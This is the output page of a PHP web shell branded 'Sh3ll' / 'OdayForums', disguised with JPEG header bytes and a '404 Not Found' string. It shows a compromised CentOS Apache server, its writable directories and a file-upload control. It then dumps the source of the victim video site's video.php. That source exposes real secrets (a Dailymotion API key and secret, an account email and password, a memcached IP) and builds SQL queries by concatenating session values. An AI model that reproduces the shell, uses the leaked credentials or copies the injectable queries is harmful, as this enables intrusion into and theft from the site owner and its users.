ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/img.123vid.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/img.123vid.top/video.php
<?php
date_default_timezone_set("America/New_York");
session_start();
$memcache = new Memcache;
$memcache->connect('68.183.152.106',11211) or die ("Sorry, could not connect memcached!. We're working on getting this fixed as soon as we can.1");
define('ROOT_PATH', dirname(__FILE__) . '/');
require ROOT_PATH."configs.php";
require ROOT_PATH."const.php";
// Load Base
require ROOT_PATH."lib/class_info.php";
$CORE =	new info();
require ROOT_PATH."lib/class_functions.php";
$func   = new FUNC;
$CORE->input = $func->get_input();
require ROOT_PATH."lib/class_display.php";
$print = new display();
//check country
function get_ip_address() {
    // check for shared internet/ISP IP
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    }
    // check for IPs passing through proxies
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED'])) {
        return $_SERVER['HTTP_X_FORWARDED'];
    }
    if (!empty($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
    }
    if (!empty($_SERVER['HTTP_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_FORWARDED_FOR'];
    }
    if (!empty($_SERVER['HTTP_FORWARDED'])) {
        return $_SERVER['HTTP_FORWARDED'];
    }
    // return unreliable ip since all else failed
    return $_SERVER['REMOTE_ADDR'];
}
$CORE->ip = get_ip_address();
if(!isset($_SESSION['country']) or empty($_SESSION['country'])) {
    $_SESSION['country'] = geoip_country_code_by_name($CORE->ip);
}
switch ($_SESSION['country']){
    case 'VN':
        $_SESSION['lang']='vi';
        break;
    case 'KR':
        $_SESSION['lang']='kr';
        break;
    default:
        $_SESSION['lang']='en';
        break;
}
include ROOT_PATH.'lang/'.$_SESSION['lang'].'.php';
//smarty tpl
global $INFO;
require(ROOT_PATH.'smarty/Smarty.class.php');
$smarty = new Smarty;
//$smarty->force_compile = true;
$smarty->assign('path_host', $INFO['path_host']);
$smarty->assign('skin_folder', $INFO['skin_folder']);
$smarty->assign('info_page', $INFO);
$smarty->debugging = false;
$smarty->compile_check = true; // kiểm tra xem template đã có thay đổi gì không, nếu có, nạp dữ liệu mới
$smarty->caching = false;
$smarty->cache_lifetime = 7200;
$smarty->compile_dir = ROOT_PATH.'cache/templates_c/';
$smarty->cache_dir = ROOT_PATH.'cache/cache2/';
$id = $CORE->input['id'];
$smarty->assign('country_code',$_SESSION['country']);
if(empty($id)){
    return;
}
//$arr_deny = array('chandralekha-tamil-serial-episode','saregamatvshowschandralekha-tamil-serial','saregamatvshowschandralekha-tamil-serial','hiru-unplugged-ep-08-chandralekha-perera','apoorva-raagangal-','goong-s-episode-5-eng-sub','cheese-in-the-trap-ep-11-kiss-bed-scene','shin-koihime-musou-ova-sub-esp','empire-of-lust','madame-antoine-ost-by-roo-swing-magic','nurse-witch-komugichan-r','alien-vs-ninjamp4','brothers-conflict-ep-11-eng-dub','-chandralekha-sun-tv-tamil-serial-episode-','-chandralekha-tamil-serial-suntv-episode-','deivamagal-episode-','deivamagal-epsiode-','priyamanaval-episode-','priyamamaval-','deivamagal-','-sun-tv-','bhairavi-','azhagu-','tamil-tv-','sun-news-');
$arr_deny = array();
$arr_deny_dailymotion = array();
$arr_deny_youtube = array();
$detail = array('encode'=>'','id_youtube'=>'','img'=>'','id_you'=>'','title'=>'','ftitle'=>'','des'=>'','cat_youtube'=>'','duration'=>'','player'=>'','id'=>'');
$list_related2 = array();
if(!is_numeric($id) and strlen($id)>8){//youtube video
    $encode = $id;

    $decoded = $func->str_encode($func->hex2bin($encode), 'ngocgiac');
    if(in_array($decoded,$arr_deny_youtube)){
        header('Location: 404/index.html');
    }
    $vid = $decoded;
    $intro =  'https://www.youtube.com/watch?v=' . $vid;
    $detail['player'] = $func->encode_html('<iframe id="player_iframe" src="https://www.youtube.com/embed/' . $decoded . '?autoplay=1&html5=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=0&widgetid=1&color=white" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
    //old version
    require 'proxy/Google/Client.php';
    require 'proxy/Google/Service/YouTube.php';
    $client = new Google_Client();
    $client->setDeveloperKey($INFO['api_key']);
    $youtube = new Google_Service_YouTube($client);
    //new version
    /*require 'vendor/autoload.php';
    $client = new Google_Client();
    $client->setDeveloperKey($INFO['api_key']);
    $youtube = new Google_Service_YouTube($client);*/
    $searchResponse = $youtube->videos->listVideos('contentDetails,snippet,status', array(
        'id' => $vid
    ));
    if($searchResponse) {
        foreach ($searchResponse['items'] as $val) {
            $detail['id_you'] = $val['id'];
            $detail['title'] = $val['snippet']['title'];
            $detail['ftitle'] = $func->format_string($val['snippet']['title']);
            $detail['des'] = $val['snippet']['description'];
            $detail['cat_youtube'] = $val['snippet']['categoryId'];
            //$detail['duration'] = $func->covtime($val['contentDetails']['duration']);
            $detail['meta_duration'] = $val['contentDetails']['duration'];
            $detail['user_name'] = $val['snippet']['channelTitle'];
            $detail['fuser_name'] = $func->format_string($val['snippet']['channelTitle']);
            $detail['chanel_id'] = bin2hex($func->str_encode($val['snippet']['channelId'], 'ngocgiac'));
            $detail['publishedAt'] = strtotime($val['snippet']['publishedAt']);
            $detail['txt_time'] = date(DATE_ISO8601, $detail['publishedAt']);
            $channel_info = $youtube->channels->listChannels(
                'snippet',
                array('id' => $val['snippet']['channelId'])
            );
            foreach ($channel_info['items'] as $channel) {
                if ($channel['snippet']['thumbnails']['high']['url'] != '') {
                    $detail['avatar'] = $channel['snippet']['thumbnails']['high']['url'];
                } else {
                    $detail['avatar'] = $channel['snippet']['thumbnails']['default']['url'];
                }
            }
            $arr_tags = $val['snippet']['tags'];
            $detail['txt_tags'] = '';
            if (!is_null($arr_tags)) {
                foreach ($arr_tags as $val) {
                    $detail['txt_tags'] .= '<li><a href="?act=search&q=' . $val . '" title="' . $val . '">' . $val . '</a></li>';
                }
            }
            $detail['video_status'] = $val['status'];
        }
        $detail['keywords'] = implode(',', $arr_tags);
        $detail['des'] = preg_replace('@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@', '<a href="$1" target="_blank" rel="nofollow">$1</a>', $detail['des']);
        $detail['des'] = preg_replace("/\r|\n/", "<br/>", $detail['des']);
        /*$detail['player'] = $func->encode_html('<div class="plyr__video-embed" id="player" data-plyr-provider="youtube" data-plyr-embed-id="' . $decoded . '"></div>');*/
        $detail['player'] = $func->encode_html('<iframe id="player_iframe" src="https://www.youtube.com/embed/' . $decoded . '?autoplay=1&html5=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=0&widgetid=1&color=white" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
        $searchResponse = $youtube->search->listSearch('id,snippet', array(
            'relatedToVideoId' => $vid,
            'type' => 'video',
            'maxResults' => 25
        ));
        foreach ($searchResponse['items'] as $searchResult) {
            $list['title'] = $searchResult['snippet']['title'];
            $list['id_you'] = $searchResult['id']['videoId'];
            $arr_xml[] = $list;
        }
        $list2 = array();
        if (!empty($arr_xml)) {
            $i = 1;
            foreach ($arr_xml as $video) {
                $relate['ftitle'] = $func->format_string($video['title']);
                $relate['title'] = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($video['title']))));
                $relate['id_you'] = $video['id_you'];
                $relate['img'] = 'https://img.youtube.com/vi/' . $relate['id_you'] . '/mqdefault.jpg';
                $relate['encode_img'] = bin2hex($func->str_encode($relate['img'], 'ngocgiac'));
                $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'], 'ngocgiac'));
                $relate['duration'] = '';
                if ($i == 1) {
                    $url_next = 'video/' . $relate['ftitle'] . '-' . $relate['id_you_encode'] . '.html';
                }
                if ($relate['title'] != '') {
                    $list_related2[] = $relate;
                }
                $i++;
            }
        }

    }else{//het quota
        $noembed = json_decode($func->get_content_page('https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v='.$vid.'&format=json','https://youtube.com'));
        $detail['title'] = $noembed->title;
        $detail['channel_url'] = $noembed->author_url;
        $detail['chanel_id_basic'] = basename($detail['channel_url']);
        $detail['chanel_id'] = bin2hex($func->str_encode($detail['chanel_id_basic'], 'ngocgiac'));
        $detail['user_name'] = $noembed->author_name;
        $detail['fuser_name'] = $func->format_string($detail['user_name']);
        $detail['avatar'] = 'skin/phim98/assets/img/apple-touch-icon.png';
        $detail['txt_time'] = date(DATE_ISO8601, time());
        $content2 = $func->curl_func('https://img.123vid.top/youtube_search.php?kw=' . base64_encode($detail['title']));
        echo '<div title="" style="display:none;">https://img.123vid.top/youtube_search.php?kw=' . base64_encode($detail['title']).'</div>';
        $arr_request = json_decode($content2, true);
        foreach ($arr_request as $video){
            if($video['id']!='') {
                $relate['ftitle'] = $func->format_string($video['title']);
                $relate['title'] = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($video['title']))));
                $relate['id_you'] = $video['id'];
                $relate['img'] = 'https://img.youtube.com/vi/' . $video['id'] . '/mqdefault.jpg';
                $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'], 'ngocgiac'));
                $relate['duration'] = $video['duration'];
                $list_related2[] = $relate;
            }
        }
    }

    $detail['encode'] = $encode;
    $detail['id_youtube'] = $vid;
    $detail['img'] = 'https://i.ytimg.com/vi/'.$vid.'/maxresdefault.jpg';
    $detail['ftitle'] = $func->format_string($detail['title']);
    $detail['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($detail['title']))));
    $detail['seo_thumbnail'] = 'https://i.ytimg.com/vi/'.$vid.'/default.jpg';
    $detail['hq_thumbnail'] = 'https://i.ytimg.com/vi/'.$vid.'/hqdefault.jpg';
    $detail['sd_thumbnail'] = 'https://i.ytimg.com/vi/'.$vid.'/sddefault.jpg';
    $detail['id'] = $encode;
    $row_check = $detail;
}
if(!is_numeric($id) and strlen($id)<=8){//dailymotion video
    if(in_array($id,$arr_deny_dailymotion)){
        header('Location: 404/index.html');
    }
    require ROOT_PATH.'lib/Dailymotion.php';
    $apiKey = '31c2d7ae78aca3f0b14c';
    $apiSecret = '13ef6e5c0860da5e5f4b4f2db0b1ce8313d5da9c';
    $testUser = 'xxxgiacxxx@gmail.com';
    $testPassword = 'gunblade123';
    $scopes = array(
        'userinfo',
        'feed',
        'manage_videos',
    );
    $api = new Dailymotion();
    $api->setGrantType(
        Dailymotion::GRANT_TYPE_PASSWORD,
        $apiKey,
        $apiSecret,
        $scopes,
        array(
            'username' => $testUser,
            'password' => $testPassword,
        )
    );
    $arr_content = $api->get(
        '/video/'.$id,
        array('fields' => array('id', 'title', 'thumbnail_large_url','duration','description','owner.username','owner.id','owner.avatar_240_url','tags','thumbnail_120_url','thumbnail_360_url','thumbnail_720_url'))
    );
    $detail['encode'] = $id;
    $detail['id'] = $id;
    $detail['ftitle'] = $func->format_string($arr_content['title']);
    $detail['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($arr_content['title']))));
    $detail['des'] = preg_replace('@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@', '<a href="$1" target="_blank" rel="nofollow">$1</a>', $arr_content['description']);
    $detail['des'] = preg_replace( "/\r|\n/", "<br/>",  $detail['des']);
    //$detail['duration'] = $arr_content['duration'];
    $detail['meta_duration'] = $func->iso8601_duration($arr_content['duration']);
    $detail['img'] = str_replace('http://','https://',$arr_content['thumbnail_large_url']);
    $detail['player'] = $func->encode_html('<iframe id="player_iframe" src="//www.dailymotion.com/embed/video/'.$id.'?autoplay=true&byline=0&portrait=0&title=0&queue-autoplay-next=0&queue-enable=0&sharing-enable=0&ui-logo=0&ui-start-screen-info=1" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>');

    $detail['avatar'] = str_replace('http://','https://',$arr_content['owner.avatar_240_url']);
    $detail['fuser_name'] = $arr_content['owner.username'];
    $detail['chanel_id'] = $arr_content['owner.id'];

    $arr_tags = $arr_content['tags'];
    $detail['txt_tags'] = '';
    if(!is_null($arr_tags)){
        foreach ($arr_tags as $val){
            $detail['txt_tags'] .= '<li><a href="?act=search&q='.$val.'" title="'.$val.'">'.$val.'</a></li>';
        }
    }
    $detail['keywords'] = implode(',',$arr_tags);
    $detail['seo_thumbnail'] = str_replace('http://','https://',$arr_content['thumbnail_120_url']);
    $detail['hq_thumbnail'] = str_replace('http://','https://',$arr_content['thumbnail_360_url']);
    $detail['sd_thumbnail'] = str_replace('http://','https://',$arr_content['thumbnail_720_url']);

    $row_check = $detail;
    $row_check['user_name'] = $arr_content['owner.username'];
    $row_check['txt_time'] = date(DATE_ISO8601, time());
    //related dailymotion
    $result = $api->get(
        '/video/'.$detail['id'].'/related?fields=allow_embed,duration,thumbnail_url,title,&page=1&limit=25',
        array('fields' => array('id', 'title', 'thumbnail_large_url','duration'))
    );
    if(!empty($result['list'])){
        foreach($result['list'] as $val) {
            $relate['id_you'] = '';
            $relate['ftitle'] = $func->format_string($val['title']);
            $relate['title'] = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($val['title']))));
            $relate['img'] = str_replace('http://','https://',$val['thumbnail_large_url']);
            $relate['encode_img'] = bin2hex($func->str_encode($relate['img'], 'ngocgiac'));
            $relate['id_you_encode'] = $val['id'];
            $relate['duration'] = gmdate('H:i:s', $val['duration']);
            if ($relate['title'] != '') {
                $list_related2[] = $relate;
            }
        }
    }

}
$cur_url = $func->current_url();
foreach ($arr_deny as $val){
    if(strpos($cur_url,$val)!==false){
        header('Location: 404/index.html');
    }
}
$row_check['encode_img'] = bin2hex($func->str_encode($detail['img'], 'ngocgiac'));
$smarty->assign('title', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($row_check['title'])))));
$smarty->assign('description', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($row_check['des'])))));
$smarty->assign('detail', $row_check);
$smarty->assign('list_related2',$list_related2);
//$smarty->assign('title', $row_check['title']);
$smarty->assign('image', $detail['img']);
//$smarty->assign('description', $row_check['des']);
$smarty->assign('keywords',$detail['keywords']);
$smarty->assign('cur_url',$cur_url);
$smarty->assign('lang',$lang);

if(isset($_SESSION['user_id'])) {
    $smarty->assign('user_id', $_SESSION['user_id']);
    $smarty->assign('openid', $_SESSION['openid']);
    $smarty->assign('avatar', $_SESSION['avatar']);
    $smarty->assign('email', $_SESSION['email']);
    $smarty->assign('fullname', $_SESSION['fullname']);
}else{
    //login tu trang video
    if(isset($_SESSION['openid_type']) and $_SESSION['openid_type']!='') {
        require ROOT_PATH."lib/class_db_mysqli.php";
        $DB = new db_driver;
        $DB->connect($INFO);
        switch ($_SESSION['openid_type']) {
            case 'facebook':
                if (isset($_SESSION['openid']) and $_SESSION['openid'] != '') {
                    $avatar = 'https://graph.facebook.com/' . $_SESSION['openid'] . '/picture';
                    $row_check_user = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_user WHERE openid='" . $_SESSION['openid'] . "' and openid_type='" . $_SESSION['openid_type'] . "' LIMIT 1 "));
                    if (!$row_check_user) {
                        $joined = time();
                        $DB->query("INSERT INTO gtdesign_user (`openid`,`email`,`joined`,`fullname`,`avatar`,`openid_type`) VALUES ('" . $_SESSION['openid'] . "','" . $_SESSION['email'] . "','" . $joined . "','" . $_SESSION['fullname'] . "','" . $avatar . "','" . $_SESSION['openid_type'] . "') ");
                        $_SESSION['user_id'] = $DB->insert_id();

                    } else {
                        $_SESSION['user_id'] = $row_check_user['id'];
                        $joined = $row_check_user['joined'];
                        $_SESSION['fullname'] =  $row_check_user['fullname'];
                        $_SESSION['email'] =  $row_check_user['email'];
                    }
                    $_SESSION['redirect_url'] = $func->current_url();
                    $smarty->assign('user_id', $_SESSION['user_id']);
                    $smarty->assign('openid', $_SESSION['openid']);
                    $smarty->assign('avatar', $avatar);
                    $smarty->assign('email', $_SESSION['email']);
                    $smarty->assign('fullname', $_SESSION['fullname']);
                    $smarty->assign('joined', date('F d Y', $joined));
                } else {
                    $smarty->assign('openid', '');
                }
                break;
            case 'google':
                if (isset($_SESSION['openid']) and $_SESSION['openid'] != '') {
                    $avatar = $_SESSION['avatar'];
                    $row_check_user = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_user WHERE openid='" . $_SESSION['openid'] . "' and openid_type='" . $_SESSION['openid_type'] . "' LIMIT 1 "));
                    if (!$row_check_user) {
                        $joined = time();
                        $DB->query("INSERT INTO gtdesign_user (`openid`,`email`,`joined`,`fullname`,`avatar`,`openid_type`) VALUES ('" . $_SESSION['openid'] . "','" . $_SESSION['email'] . "','" . $joined . "','" . $_SESSION['fullname'] . "','" . $avatar . "','" . $_SESSION['openid_type'] . "') ");
                        $_SESSION['user_id'] = $DB->insert_id();

                    } else {
                        $_SESSION['user_id'] = $row_check_user['id'];
                        $joined = $row_check_user['joined'];
                        $_SESSION['fullname'] =  $row_check_user['fullname'];
                        $_SESSION['email'] =  $row_check_user['email'];
                    }
                    $_SESSION['redirect_url'] = $func->current_url();
                    $smarty->assign('user_id', $_SESSION['user_id']);
                    $smarty->assign('openid', $_SESSION['openid']);
                    $smarty->assign('avatar', $avatar);
                    $smarty->assign('email', $_SESSION['email']);
                    $smarty->assign('fullname', $_SESSION['fullname']);
                    $smarty->assign('joined', date('F d Y', $joined));
                } else {
                    $smarty->assign('openid', '');
                }
                break;
            case 'discord':
                if (isset($_SESSION['openid']) and $_SESSION['openid'] != '') {
                    $avatar = $_SESSION['avatar'];
                    $row_check_user = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_user WHERE openid='" . $_SESSION['openid'] . "' and openid_type='" . $_SESSION['openid_type'] . "' LIMIT 1 "));
                    if (!$row_check_user) {
                        $joined = time();
                        $DB->query("INSERT INTO gtdesign_user (`openid`,`email`,`joined`,`fullname`,`avatar`,`openid_type`) VALUES ('" . $_SESSION['openid'] . "','" . $_SESSION['email'] . "','" . $joined . "','" . $_SESSION['fullname'] . "','" . $avatar . "','" . $_SESSION['openid_type'] . "') ");
                        $_SESSION['user_id'] = mysql_insert_id();

                    } else {
                        $DB->query("UPDATE gtdesign_user SET avatar='$avatar' WHERE id='".$row_check_user['id']."' ");
                        $_SESSION['user_id'] = $row_check_user['id'];
                        $joined = $row_check_user['joined'];
                        $_SESSION['fullname'] =  $row_check_user['fullname'];
                        $_SESSION['email'] =  $row_check_user['email'];
                    }
                    $_SESSION['redirect_url'] = $func->current_url();
                    $smarty->assign('user_id', $_SESSION['user_id']);
                    $smarty->assign('openid', $_SESSION['openid']);
                    $smarty->assign('avatar', $avatar);
                    $smarty->assign('email', $_SESSION['email']);
                    $smarty->assign('fullname', $_SESSION['fullname']);
                    $smarty->assign('joined', date('F d Y', $joined));
                } else {
                    $smarty->assign('openid', '');
                }
                break;
        }
    }
}

$txt_phim_le_nam = '';
foreach($INFO['namphathanh_phimle'] as $key=>$val){
    $txt_phim_le_nam .= '<li><a href="movie/' . $key . '/">' . $val[$_SESSION['lang']] . '</a></li>';
}
$smarty->assign('phimlenam',$txt_phim_le_nam);
$txt_phim_bo_nam = '';
foreach($INFO['quocgia'] as $key=>$val){
    $txt_phim_bo_nam .= '<li><a href="tv-drama/'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
}
$smarty->assign('phimbonam',$txt_phim_bo_nam);
$txt_the_loai_video = '';
$txt_the_loai_video_option = '';
foreach($INFO['videocat'] as $key=>$val){
    if($key=='mustsee'){
        $txt_the_loai_video .= '<li><a href="'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
    }else {
        $txt_the_loai_video .= '<li><a href="video/' . $key . '/">' . $val[$_SESSION['lang']] . '</a></li>';
    }
    $txt_the_loai_video_option .= '<option value="'.$key.'">'.$val[$_SESSION['lang']].'</option>';
}
$smarty->assign('theloaivideo',$txt_the_loai_video);
$smarty->assign('theloaivideo_option',$txt_the_loai_video_option);

$txt_theloai = '';
$txt_theloai_option = '';
foreach($INFO['theloai'] as $key=>$val){
    if(isset($CORE->input['genre']) and $CORE->input['genre']==$key) {
        $txt_theloai .= '<li class="active"><a href="genre/'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
        $txt_theloai_option .= '<option value="' . $key . '" selected>' . $val[$_SESSION['lang']] . '</option>';
    }else {
        $txt_theloai .= '<li><a href="genre/' . $key . '/">' . $val[$_SESSION['lang']] . '</a></li>';
        $txt_theloai_option .= '<option value="' . $key . '">' . $val[$_SESSION['lang']] . '</option>';
    }
}
$smarty -> assign('theloai',$txt_theloai);
$smarty -> assign('theloai_option',$txt_theloai_option);
$txt_ngonngu = '';
$txt_ngonngu_option = '';
foreach($INFO['ngonngu'] as $key=>$val){
    if(isset($CORE->input['language']) and $CORE->input['language']==$key) {
        $txt_ngonngu_option .= '<option value="' . $key . '" selected>' . $val[$_SESSION['lang']] . '</option>';
        $txt_ngonngu .= '<li class="active"><a href="language/'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
    }else{
        $txt_ngonngu_option .= '<option value="' . $key . '">' . $val[$_SESSION['lang']] . '</option>';
        $txt_ngonngu .= '<li><a href="language/'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
    }
}
$smarty -> assign('ngonngu',$txt_ngonngu);
$smarty -> assign('ngonngu_option',$txt_ngonngu_option);
$txt_quocgia = '';
$txt_quocgia_option = '';
foreach($INFO['quocgia'] as $key=>$val){
    if(isset($CORE->input['country']) and $CORE->input['country']==$key) {
        $txt_quocgia .= '<li class="active"><a href="country/'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
        $txt_quocgia_option .= '<option value="' . $key . '" selected>' . $val[$_SESSION['lang']] . '</option>';
    }else {
        $txt_quocgia .= '<li><a href="country/' . $key . '/">' . $val[$_SESSION['lang']] . '</a></li>';
        $txt_quocgia_option .= '<option value="' . $key . '">' . $val[$_SESSION['lang']] . '</option>';
    }
}
$smarty -> assign('quocgia',$txt_quocgia);
$smarty -> assign('quocgia_option',$txt_quocgia_option);
$txt_namphathanh = '';
$txt_namphathanh_option = '';
foreach($INFO['namphathanh'] as $key=>$val){
    if(isset($CORE->input['year']) and $CORE->input['year']==$key) {
        $txt_namphathanh_option .= '<option value="' . $key . '" selected>' . $val[$_SESSION['lang']] . '</option>';
        $txt_namphathanh .= '<li class="active"><a href="year/'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
    }else{
        $txt_namphathanh_option .= '<option value="' . $key . '">' . $val[$_SESSION['lang']] . '</option>';
        $txt_namphathanh .= '<li><a href="year/'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
    }
}
$smarty -> assign('namphathanh',$txt_namphathanh);
$smarty -> assign('namphathanh_option',$txt_namphathanh_option);
$txt_hinhthuc = '';
$txt_hinhthuc_option = '';
foreach($INFO['hinhthuc'] as $key=>$val){
    if(isset($CORE->input['formality']) and $CORE->input['formality']==$key) {
        $txt_hinhthuc .= '<li class="active"><a href="'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
        $txt_hinhthuc_option .= '<option value="' . $key . '" selected>' . $val[$_SESSION['lang']] . '</option>';
    }else{
        $txt_hinhthuc .= '<li><a href="'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
        $txt_hinhthuc_option .= '<option value="' . $key . '">' . $val[$_SESSION['lang']] . '</option>';
    }
}
$smarty -> assign('hinhthuc',$txt_hinhthuc);
$smarty -> assign('hinhthuc_option',$txt_hinhthuc_option);
$txt_videocat = '';

foreach($INFO['videocat'] as $key=>$val){
    if($key=='mustsee'){
        $txt_videocat .= '<li><a href="'.$key.'/">'.$val[$_SESSION['lang']].'</a></li>';
    }else {
        $txt_videocat .= '<li><a href="video/' . $key . '/">' . $val[$_SESSION['lang']] . '</a></li>';
    }
}
$smarty -> assign('videocat',$txt_videocat);
$smarty->display(ROOT_PATH.'video_api.tpl');
?>

ZeroDay Forums Mini